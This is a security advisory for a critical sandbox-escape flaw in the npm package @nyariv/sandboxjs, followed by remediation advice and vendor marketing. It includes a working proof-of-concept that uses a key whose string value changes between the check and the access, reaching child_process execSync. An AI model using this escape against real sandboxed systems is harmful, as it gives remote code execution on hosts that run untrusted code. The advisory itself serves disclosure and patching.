GHSA-7x3h-rm86-3342
CRITICAL@nyariv/sandboxjs vulnerable to sandbox escape via TOCTOU bug on keys in property accesses
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
@nyariv/sandboxjsnpmDescription
Summary
A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.
Details
Even though the key used in property accesses (b in the code below) is annotated as string, this is never enforced:
https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304
So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access.
PoC
const Sandbox = require('@nyariv/sandboxjs').default;
const code = `
let a = new Map;
a.x = 23;
let count = 0;
let nastyProp = {toString: () => {if (count<1){count++;return "x"} else return "__proto__"}}
let mapProt = a[nastyProp];
mapProt.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`;
const scope = {};
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
exec(scope).run();
Impact
Remote code execution, if attacker can execute code inside the sandbox.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @nyariv/sandboxjs | all versions | 0.8.29 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nyariv/sandboxjs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @nyariv/sandboxjs to 0.8.29 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7x3h-rm86-3342 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7x3h-rm86-3342 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-7x3h-rm86-3342. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7x3h-rm86-3342 in your dependencies?
O3 detects GHSA-7x3h-rm86-3342 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.